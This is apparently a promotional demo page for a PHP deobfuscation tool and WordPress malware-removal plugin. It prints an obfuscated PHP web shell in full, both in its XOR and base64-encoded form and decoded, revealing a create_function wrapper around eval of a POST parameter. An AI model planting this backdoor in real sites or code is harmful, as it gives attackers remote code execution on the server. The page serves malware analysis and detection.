PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php class MJES{ function __destruct(){ $IFDX='y-wMe=sIo+a&UTz'^"\x1a\x5f\x12\x2c\x11\x58\x2c\x2f\x1a\x45\x2\x52\x3c\x3b\x14"; @$IFDX=$IFDX('',$this->DNHF); return @$IFDX(); } } $mjes=new MJES(); @$mjes->DNHF=base64_decode("IEBldmFsKCRfUE9TVFsneCddKTsNCg=="); ?>...

Obfuscated php code

<?php
class MJES{
    function __destruct(){
        $IFDX='y-wMe=sIo+a&UTz'^"\x1a\x5f\x12\x2c\x11\x58\x2c\x2f\x1a\x45\x2\x52\x3c\x3b\x14";
        @$IFDX=$IFDX('',$this->DNHF);
        return @$IFDX();
    }
}
$mjes=new MJES();
@$mjes->DNHF=base64_decode("IEBldmFsKCRfUE9TVFsneCddKTsNCg==");
?>

Decoded(de-Obfuscated) php code

<?php

class MJES
{
    function __destruct()
    {
        $IFDX = "create_function";
        @($IFDX = create_function('', $this->DNHF));
        return @$IFDX();
    }
}
$mjes = new MJES();
@($mjes->DNHF = " @eval(\$_POST['x']);\r\n");

Malware detection & removal plugin for WordPress